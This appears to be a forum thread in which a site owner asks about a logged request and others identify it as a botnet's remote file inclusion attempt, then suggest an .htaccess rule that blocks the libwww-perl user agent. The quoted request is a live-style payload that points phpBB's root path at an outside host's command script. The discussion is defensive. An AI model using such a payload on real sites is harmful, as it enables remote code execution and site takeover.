what is this, hacking?

Private Joined: Jan 14, 2004 Posts: 38

Quote:

www.mysite.com/modules/Forums/admin/index.php?phpbb_root_path=http://molganinovo.ru/cmd.txt?

Captain Joined: Sep 13, 2003 Posts: 314

Yes, it is a hacking attempt. I get those hacking attempts pretty often and they are stopped by Sentinel and the hacker is automatically banned from the site.

Site Admin Joined: Aug 17, 2003 Posts: 12397

Yes it is a hacking bot net, using many vulnerabilities in PHP scripts + google to search for vulnerable sites. They have a wide number of hacked systems, so likely an IP block will not stop them.

Here is my suggestion, use .htaccess and mod_rewrite to block them at the server level

Code:

RewriteCond %{HTTP_USER_AGENT} ^libwww-perl
RewriteRule ^.*$ http://127.0.0.1 [L]

Nuke Soldier Joined: Oct 02, 2005 Posts: 21

Thanks for the tip but I used one of their own IP addresses.

Site Admin Joined: Aug 17, 2003 Posts: 12397

One IP isn't going to help. They have probably hundreds of systems hacked Smile

I see hundreds of attempts so far.